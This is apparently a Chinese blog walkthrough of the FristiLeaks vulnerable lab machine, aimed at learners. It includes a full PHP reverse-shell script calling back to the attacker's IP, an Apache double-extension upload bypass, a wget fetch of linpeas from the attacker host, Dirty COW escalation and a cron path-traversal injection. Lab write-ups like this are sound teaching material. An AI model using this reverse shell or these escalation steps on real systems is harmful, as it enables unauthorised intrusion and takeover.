FristiLeaks靶机渗透

发布时间 2023-05-21 01:03:44作者: kalixcn

实验环境

靶机下载地址
注意:该靶机需要使用MAC的特定地址,08:00:27:A5:A6:76
在VMware中设置
img
kali:10.10.10.128
靶机:10.10.10.143

1. 主机发现

arp-scan 10.10.10.0/24
# 或者
netdiscover -i eth0 -r 10.10.10.0/24

img

img

2. 扫描服务

nmap -sS -sV 10.10.10.143

img

发现该靶机开放了80端口,那就使用whatweb扫描一下WEB指纹。

whatweb 10.10.10.143 

img
发现和nmap扫描出来的信息没有太大差别。
既然只开放80端口,说明突破点在web方向,简单浏览一下,查看一下源代码(除非你是一头猪,否则你不会不查看一下,我就是...)。

img

经过一段时间的查看发现没有什么可以利用的信息,那就使用御剑、dirb、dirsearch、gobuster等等扫描一下目录文件。

3. 扫描目录文件

dirb http://10.10.10.143/ -w
或者
dirsearch -u https://10.10.10.143

img

经过目录扫描发现/cgi-bin/、/images/、/robots.txt、index.html
那就分别访问这几个目录,查看查看是否有一些有用的信息。
robots.txt中有三个不允许访问的东西。

img

那就去访问访问,查看有没有什么有用的信息。

img
img
img

通过访问这三个都是一张老者图,看来老者不简单,可能在图片中隐藏一些有用的信息。那就使用ExifTool、Steghide、Forensically查看查看。发现什么东西也没有!!!

访问/images,看看有没有什么信息!

img

发现在该目录下有两张图片

img

img
其中一张是该网站的首页,另外一张还是老者的照片,经过查看还是没有什么发现。(放弃吧!!!你不适合搞网络安全....)

那就网上看看美女吧!!(哦,不是,查看查看提示),发现是说在首页keep calm and drink fristi有提示!!英语也不会,翻译翻译看看但是这个fristi不知道,说明这有此地无银三百两!!在浏览器中输入看看。

img

到这里我已经臣服于作者的石榴裙下了!!!如此脑洞大开的思路,在下佩服的五体投地!!!

看到这里,依照以往的渗透思路,肯定是找用户名、密码,既然只开了web服务,那说明突破点一定在该服务上,那就查看查看源代码(一定要查看、查看、查看!!!)

img

在这里就可以看到用户名,还有一串字符(从图片链接的提示中,可以知道该字符是base64编码)

那就将字段保存下来为test.txt,使用base64解码一下!

base64 -d test.txt

img

解码出来发现是图片格式,那就解码为图片格式,保存为1.png。

base64 -d test.txt > 1.png

img

到现在可以大胆猜想:
用户名:eezeepz
密码:keKkeKKeKKeKkEkkEk
那就去登录试试看。

img

登录成功后,是一个文件上传页面,到现在的渗透思路:上传木马,反弹shell!!!

在这里就考验文件上传漏洞的掌握程度了,由于这里目标系统是centos(上面使用whatweb、nmap得知),所以在这里大小写、点+空格+点、::$DATA都不适用!!!尝试许多方法没有绕过。

到这里已经怀疑自己了!!!肯定上面收集的信息有用,该网站web容器是Apache,那就测试测试是否存在解析漏洞,Apache是从右向左解析文件的。经过测试发现上传xxx.php.jpg、xxx.php.png、xxx.php.gif可以被正常解析成php文件

使用Hack-Tools插件制作php反弹shell脚本代码!!!

img

10.10.10.128为kali的ip地址,5555为反弹端口号。


  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.10.10.128';  // You have changed this
  $port = 5555;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

将源代码保存为1.php,使用burpsuite抓包上传!

img

注意:如果嫌麻烦,也可以使用kali中的webshell,只要设置php-reverse-shell.php中的ip地址为kali的ip,设置端口。
img

浏览器访问上传的webshell
img

在kali使用nc连接

nc -lvnp 5555

img

通过查看,可以知道该用户权限为低用户权限。

4. 提权

  1. 先查看SUID,看有没有奇怪的执行文件
find / -perm -4000 2> /dev/null
或者
find / -perm -u=s -type f 2> /dev/null

img
经过查看,没有SUID提取的执行文件。
2. 上传漏洞检测脚本,检测目标是否有提取的漏洞
上传漏洞检测脚本的方法:

  • 使用nc上传
  • 使用python

首先查看目标系统上是否可以执行nc命令、python命令
img
python可以正常执行!!利用python上传漏洞检测脚本。
在kali上执行

python -m http.server 8888

在反弹的shell执行

wget http://10.10.10.128:8888/linpeas.sh

img
给漏洞检测脚本添加执行权限,然后运行漏洞检测脚本。

chmod +x linpeas.sh
./linpeas.sh

img
通过漏洞检测脚本发现存在脏牛漏洞,直接根据提示下载的漏洞利用下载漏洞脚本代码或者在https://www.exploit-db.com直接搜索CVE-2016-5195下载利用代码。
img
然后使用su切换firefart用户,密码为2345
img
需要一个标准的shell,那就使用python反弹一个标准的shell.

python -c "import pty;pty.spawn('/bin/bash')"

img
成功提权!!!在/root中找到flag.txt。

5. 根据出题思路进行一步步操作
通过文件上传漏洞反弹shell,获得一个低权限的用户,进入/home目录,发现有三个目录,只有eezeepz目录能进入。
img
进入eezeepz目录。查看一下,发现有一大堆命令以及一个notes.txt文件,查看notes.txt内容。
img
根据这里的意思大概猜测出,可以在/tmp目录下创建runthis文件,并且可以在runthis文件中可以执行/usr/bin/*下的命令,那就可以通过相对路径来授权以达到可以目录。

cd /tmp
touch runthis
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis

这样就可以访问/home/admin目录了!查看在此目录下的文件。
img
可以看到两个txt文件和一个python文件,查看了这两个文件和python文件,可以猜测这两个文件是通过这个python脚本加密的,那就可以写一个对应的解码脚本。

import base64,codecs,sys
def decodeString(str):
    decod = codecs.decode(str[::-1],'rot13')
    return base64.b64decode(decod)
cryptResult = decodeString(sys.argv[1])
print crytResult
# 或者
import base64,codecs,sys
def decodeString(str):
    string = str[::-1]
    string = string.encode('rot13')
    return base64.b64decode(string)
print decodeString(sys.argv[1])

img

img
得到的结果:thisisalsopw123LetThereBeFristi!
到现在已经用/home下的两个目录,那fristigod应该是另外一个用户!
img
到这一步发现,该用户还不是管理员权限,那就使用

sudo -l 
#查看此用户拥有的特殊权限

img

sudo -u fristi ./doCom su -

#sudo -u fristi  ls         #以fristi用户,来执行ls命令

其中thisisalsopw123为admin用户的密码。

注意点:在使用sudo -l列出此用户拥有的特殊权限,不知道这样用,可以先使用history命令查看历史使用情况,获得该用户使用特殊权限的用法。。。

6. 知识点

  1. 关于Apache的服务器是在Apache1.x,2.x 中Apache 解析文件的规则是从右到左开始判断解析, 如果后缀名为不可识别文件解析, 就再往左判断。
    但是后端的centos是从左到右解析文件的。

    举个例子:如果一个文件后缀是 1.php.jpg
    那么apache从右到左认为他是图片,centos从左到右认为他是一个php。
    这里造成了apache特有的解析漏洞。
  2. 源代码一定要看,一定要看!!!
  3. 要提升自己的编程能力!!!
  4. 注意sudo权限,使用sudo -l查看特殊权限